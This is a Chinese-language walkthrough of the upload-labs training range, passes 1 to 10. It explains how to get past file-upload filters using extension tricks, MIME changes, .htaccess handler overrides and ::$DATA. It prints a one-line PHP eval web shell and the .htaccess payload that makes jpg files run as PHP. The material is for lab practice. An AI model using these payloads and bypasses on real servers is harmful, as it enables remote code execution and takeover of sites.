目录
[Pass-01(JS 验证)](#Pass-01(JS 验证))
[Pass-04(.htaccess 绕过)](#Pass-04(.htaccess 绕过))
[Pass-08(::DATA 绕过)](#Pass-08(::DATA 绕过))

下载地址:GitHub - c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场
1.php 内容:
<?php @eval($_POST[cmd]);?>
Pass-01(JS 验证)
复制一个 php 文件,重命名 1.jpg
<?php @eval($_POST[cmd]);?>
上传,然后拦截数据包,通过burp修改后缀,修改后放包(Burp发送后数据包是已经经过了前端,所以前端校验就会失效),后缀改为php

右键复制图像链接

用蚁剑测试链接

Pass-02(MIME)

提交 抓包 修改后缀为 php


Pass-03(黑名单绕过)
查看源码, 不允许上传.asp,.aspx,.php,.jsp后缀文件

修改 httpd.conf 文件中的这行代码,把前面的#去掉

抓包 修改后缀为 php3


Pass-04(.htaccess 绕过)

黑名单过滤太多,使用 .htaccess 绕过,内容如下,先把 .htaccess 上传,再上传 1.jpg
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>



Pass-05(大小写绕过)
查看源码, 上一关的.htaccess文件也过滤掉了,发现没有过滤大小写,本关就用大小写绕过

上传 1.php 一句话木马,抓包修改后缀


Pass-06(空格绕过)
查看源码,大小写被过滤,没有过滤空格,就用空格过滤

上传 1.php 一句话木马,抓包,后缀加一个空格


Pass-07(小数点绕过)
查看源码,大小写被过滤,空格被过滤,没有过滤小数点,就用小数点过滤

上传 1.php 一句话木马,抓包,后缀加个小数点


Pass-08(::$DATA 绕过)
查看源码,小数点 大小写 空格 都被过滤,用 ::$DATA 过滤

上传 1.php 一句话木马,抓包,后缀加 ::$DATA

连接时删掉 ::$DATA

Pass-09(小数点和空格结合绕过)
查看源码,::$DATA 也被过滤,使用结合过滤

上传 1.php 一句话木马,抓包,后缀加 小数点 空格 小数点


Pass-10(双写绕过)
查看源码, str_ireplace()函数 将危险后缀都替换为空,然后尝试用双写绕过

上传 1.php 一句话木马,抓包,修改后缀

